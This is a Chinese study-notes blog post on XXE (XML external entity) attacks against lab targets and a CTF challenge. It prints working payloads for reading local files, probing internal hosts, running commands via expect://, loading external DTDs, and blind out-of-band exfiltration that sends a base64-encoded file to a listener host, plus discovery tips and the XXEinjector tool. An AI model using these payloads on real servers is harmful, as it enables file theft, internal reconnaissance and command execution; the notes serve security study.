【小迪第39天】xml漏洞


漏洞利用

简单回显读文件

靶场pickchu

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///g://1.txt">
]>
<x>&xxe;</x>

读取g盘下的1.txt文件,提交成功读取
在这里插入图片描述

对内网的探测

<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<x>&rabbit;</x>

探测内网的服务器
提交内容为空,说明存在此文件

在这里插入图片描述
,因为当没有文件时就会报错,如下:
在这里插入图片描述

执行rce命令

前提目标服务器开启php拓展

#该CASE是在安装expect扩展的PHP环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>

引入外部实体dtd

借用外部网站来进行操作

#引入外部实体dtd
<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://33.33.33.33:8081/evil2.dtd">
    %file;
]>
<x>&send;</x>

读取目标网站下目录的evil2.dtd文件,而文件中写有xml代码,读取d盘下的test.txt文件
evil2.dtd:

<!ENTITY send SYSTEM "file:///d:/test.txt">

类似于文件包含中的外部包含

无回显读文件

#无回显-读取文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>

test.dtd:

<!ENTITY % payload 
	"<!ENTITY &#x25; send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
> 
%payload;

如果目标网站的xml没有回显,则使用此方法,将读取的文件值赋给file变量,然后访问目标网站的的文件,而文件内容则是区访问另一个网站,并且携带file参数,这时你就可以通过GET传参来接受这个参数值的内容了

演示:
目标网站开启日志
在这里插入图片描述并且网站写有文件,来接受file的值
在这里插入图片描述
把代码插入到网站时,因为要访问目标网站,日志就存下了记录
在这里插入图片描述
并且携带了file的值
在这里插入图片描述
解码后:成功显示文件内容
在这里插入图片描述

有点类似反向连接

绕过

https://www.cnblogs.com/20175211lyz/p/11413335.html


漏洞发现

通过工具扫描,或者爬行网站目录信息,通过筛选有关text/xml于application/xml信息来发现xml格式数据,还可以通过盲猜来更改Content-type的值来进行发现,对方网站可能type类型不是xml但不代表不接受xml数据,通过更改来发现

如:通过burpsuite的爬虫,通过过滤历史记录来搜查xml
在这里插入图片描述筛选出xml的数据包
在这里插入图片描述
通过添加恶意代码,来判断
在这里插入图片描述
成功显示!


CTF题目

http://web.jarvisoj.com:9882/
抓包,更改content-type类型
在这里插入图片描述
植入恶意代码
在这里插入图片描述
成功回显!


vulnbub靶机实战

https://blog.csdn.net/qq_44930903/article/details/112333612


xml注入工具

https://github.com/enjoiz/XXEinjector
git clone https://github.com/enjoiz/XXEinjector.git

https://www.cnblogs.com/bmjoker/p/9614990.html工具使用

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值